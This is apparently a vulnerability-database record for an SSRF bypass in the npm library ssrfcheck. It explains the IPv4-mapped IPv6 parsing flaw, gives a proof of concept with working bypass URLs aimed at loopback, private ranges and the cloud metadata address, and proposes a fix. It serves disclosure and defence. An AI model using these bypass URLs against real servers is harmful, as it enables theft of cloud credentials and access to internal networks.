{"id":"CVE-2026-43929","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-43929","summary":"ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs","details":"### Summary\n\n`ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypassed. Any application using `isSSRFSafeURL()` to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.\n\n---\n\n### Details\n\n**Vulnerable file:** `src/is-private-ip.js`\n\nThe library detects IPv6 private addresses using the `privIp6()` function. The relevant portion:\n\n```js\n// src/is-private-ip.js  (lines ~40-60 of the published source)\nfunction privIp6 (ip) {\n  return /^::$/.test(ip) ||\n    /^::1$/.test(ip) ||\n    /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^64:ff9b::([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    // ... more patterns, all expect dot-notation ...\n}\n```\n\nThe third line is the IPv4-mapped IPv6 check. It expects input in the form `::ffff:127.0.0.1` (dots). However, the IP is extracted from the URL using `url.hostname`, which goes through the WHATWG URL parser first.\n\n**How WHATWG URL normalizes the address** (`src/parse-url.js`):\n\n```js\nconst url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here\nconst ipcheck = trimBrackets(url.hostname);    // e.g. '::ffff:7f00:1'  ← hex, no dots\nconst ipVersion = isIP(ipcheck);               // returns 6\n```\n\nThe WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:\n\n```\n127.0.0.1       → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1\n169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe\n192.168.1.1     → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101\n```\n\nSo by the time the regex `/^::f{4}:(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/` runs, the string it receives is `::ffff:7f00:1` — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).\n\n**Entry point** (`src/index.js`):\n\n```js\nif (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {\n  return false;   // ← never reached for IPv4-mapped IPv6\n}\nreturn true;      // ← always reached → BYPASS\n```\n\n---\n\n### PoC\n\n**Environment:** Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.\n\n**Setup:**\n\n```bash\nmkdir ssrfcheck-poc && cd ssrfcheck-poc\nnpm init -y\nnpm install ssrfcheck\n```\n\n**Step 1 — confirm WHATWG URL normalization:**\n\n```bash\nnode << 'EOF'\nconst addrs = [\n  ['127.0.0.1',       'loopback'],\n  ['169.254.169.254', 'AWS/GCP/Azure metadata'],\n  ['192.168.1.1',     'private LAN'],\n  ['10.0.0.1',        '10.x range'],\n];\nfor (const [ip, label] of addrs) {\n  const h = new URL('http://[::ffff:' + ip + ']/').hostname;\n  console.log(label + ' -> ' + h);\n}\nEOF\n```\n\nExpected output — confirms WHATWG drops dots:\n```\nloopback              -> [::ffff:7f00:1]\nAWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]\nprivate LAN           -> [::ffff:c0a8:101]\n10.x range            -> [::ffff:a00:1]\n```\n\n**Step 2 — trigger the bypass:**\n\n```bash\nnode << 'EOF'\nconst { isSSRFSafeURL } = require('ssrfcheck');\n\nconst bypasses = [\n  'http://[::ffff:127.0.0.1]/',\n  'http://[::ffff:169.254.169.254]/',\n  'http://[::ffff:192.168.1.1]/',\n  'http://[::ffff:10.0.0.1]/',\n  'http://[::ffff:172.16.0.1]/',\n  'http://[::ffff:7f00:1]/',\n  'http://[0:0:0:0:0:ffff:127.0.0.1]/',\n];\n\nfor (const url of bypasses) {\n  const result = isSSRFSafeURL(url);\n  console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);\n}\n\nconsole.log('---');\nconst r1 = isSSRFSafeURL('http://127.0.0.1/');\nconst r2 = isSSRFSafeURL('http://192.168.1.1/');\nconst r3 = isSSRFSafeURL('http://[::1]/');\nconsole.log('127.0.0.1 caught?',   r1 === false);\nconsole.log('192.168.1.1 caught?', r2 === false);\nconsole.log('[::1] caught?',        r3 === false);\nEOF\n```\n\n**Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):**\n\n```\n[BYPASS] http://[::ffff:127.0.0.1]/           -> true\n[BYPASS] http://[::ffff:169.254.169.254]/     -> true\n[BYPASS] http://[::ffff:192.168.1.1]/         -> true\n[BYPASS] http://[::ffff:10.0.0.1]/            -> true\n[BYPASS] http://[::ffff:172.16.0.1]/          -> true\n[BYPASS] http://[::ffff:7f00:1]/              -> true\n[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -> true\n---\n127.0.0.1 caught?   true\n192.168.1.1 caught? true\n[::1] caught?        true\n```\n\n7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.\n\n**Full automated verification script (`verify-ssrfcheck.js`):**\n\n```js\n#!/usr/bin/node\n// ssrfcheck bypass verification script\n// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization\n\nconst { isSSRFSafeURL } = require('ssrfcheck');\n\nconst RED   = '\\x1b[31m';\nconst GREEN = '\\x1b[32m';\nconst CYAN  = '\\x1b[36m';\nconst DIM   = '\\x1b[2m';\nconst RESET = '\\x1b[0m';\n\nconst BYPASSES = [\n  { url: 'http://[::ffff:127.0.0.1]/',         label: 'loopback   (127.0.0.1)' },\n  { url: 'http://[::ffff:169.254.169.254]/',   label: 'AWS meta   (169.254.169.254)' },\n  { url: 'http://[::ffff:192.168.1.1]/',       label: 'LAN        (192.168.1.1)' },\n  { url: 'http://[::ffff:10.0.0.1]/',          label: '10.x range (10.0.0.1)' },\n  { url: 'http://[::ffff:172.16.0.1]/',        label: '172.16.x   (172.16.0.1)' },\n  { url: 'http://[::ffff:7f00:1]/',            label: 'hex form   (direct)' },\n  { url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded   (0:0:0:0:0:ffff:127.0.0.1)' },\n];\n\nconst BASELINE = [\n  { url: 'http://127.0.0.1/',    label: 'dotted loopback', expectFalse: true },\n  { url: 'http://192.168.1.1/',  label: 'private LAN',     expectFalse: true },\n  { url: 'http://[::1]/',        label: 'IPv6 loopback',   expectFalse: true },\n  { url: 'https://example.com/', label: 'public domain',   expectFalse: false },\n];\n\nconsole.log(`\\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`);\nconsole.log(`${DIM}Node.js ${process.version}${RESET}\\n`);\n\nconsole.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);\nfor (const { url } of BYPASSES) {\n  const parsed = new URL(url);\n  console.log(`  ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);\nlet bypassed = 0;\nfor (const { url, label } of BYPASSES) {\n  const result = isSSRFSafeURL(url);\n  if (result === true) bypassed++;\n  const tag = result === true\n    ? `${RED}[BYPASS]${RESET}`\n    : `${GREEN}[caught]${RESET}`;\n  console.log(`  ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 3] Baseline checks${RESET}`);\nfor (const { url, label, expectFalse } of BASELINE) {\n  const result = isSSRFSafeURL(url);\n  const ok = (expectFalse ? result === false : result === true);\n  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;\n  console.log(`  ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\\n`);\nprocess.exit(bypassed === BYPASSES.length ? 1 : 0);\n```\n\nRun:\n```bash\nnode verify-ssrfcheck.js\n# exit code 1 = bypasses confirmed (vulnerable)\n# exit code 0 = all caught (fixed)\n```\n# VIDEO POC ASCII CAST\n\n[![asciicast](https://asciinema.org/a/CxTKMwrlcHUUbQT8.svg)](https://asciinema.org/a/CxTKMwrlcHUUbQT8)\n\n--\n\n### Impact\n\n**Vulnerability type:** Server-Side Request Forgery (SSRF) — complete protection bypass\n\n**Who is impacted:** Any Node.js application that:\n1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload)\n2. Uses `isSSRFSafeURL()` from `ssrfcheck` to validate that URL before making an outbound HTTP request\n3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026)\n\n**Concrete impact scenarios:**\n\n- **Cloud metadata theft:** On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat \n- **Internal network pivoting:** Attacker reaches services on `10.x.x.x`, `172.16.x.x`, `192.168.x.x` that are not exposed to the internet, bypassing the only protection layer.\n- **Localhost access:** Attacker reaches `http://[::ffff:127.0.0.1]/admin` or any service bound to loopback on the server.\n\nThe bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10.\n\n\n## Weaknesses\n\n**CWE-918** — Server-Side Request Forgery (SSRF)\n**CWE-184** — Incomplete List of Disallowed Inputs\n\n---\n\n## Suggested Fix\n\nReplace the hand-rolled regex denylist in `src/is-private-ip.js` with Node's built-in `net.BlockList`, which operates on parsed IP values and is immune to string representation differences:\n\n```diff\n- function privIp6 (ip) {\n-   return /^::$/.test(ip) ||\n-     /^::1$/.test(ip) ||\n-     /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     ...\n- }\n\n+ const { BlockList } = require('net');\n+\n+ const _ipv6Block = new BlockList();\n+ _ipv6Block.addAddress('::',          'ipv6');          // unspecified\n+ _ipv6Block.addAddress('::1',         'ipv6');          // loopback\n+ _ipv6Block.addSubnet('::ffff:0:0',   96, 'ipv6');      // ALL IPv4-mapped — catches any private IPv4 in any notation\n+ _ipv6Block.addSubnet('64:ff9b::',    96, 'ipv6');      // NAT64\n+ _ipv6Block.addSubnet('fc00::',        7, 'ipv6');      // ULA\n+ _ipv6Block.addSubnet('fe80::',       10, 'ipv6');      // link-local\n+ _ipv6Block.addSubnet('ff00::',        8, 'ipv6');      // multicast\n+ _ipv6Block.addSubnet('100::',        64, 'ipv6');      // IETF reserved\n+ _ipv6Block.addSubnet('2001::',       32, 'ipv6');      // Teredo\n+ _ipv6Block.addSubnet('2001:db8::',   32, 'ipv6');      // documentation\n+ _ipv6Block.addSubnet('2002::',       16, 'ipv6');      // 6to4\n+\n+ function privIp6(ip) {\n+   try { return _ipv6Block.check(ip, 'ipv6'); }\n+   catch { return false; }\n+ }\n```\n\nThe `::ffff:0:0/96` subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. `BlockList.check()` parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.","published":"2026-05-05T20:29:33Z","modified":"2026-05-13T16:35:55.569468Z","cvss":{"score":8.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"},"epss":{"score":0.00226,"percentile":0.13476,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"ssrfcheck","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43929"},{"type":"PACKAGE","url":"https://github.com/felippe-regazio/ssrfcheck"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-05-13T16:35:55.569468Z"}}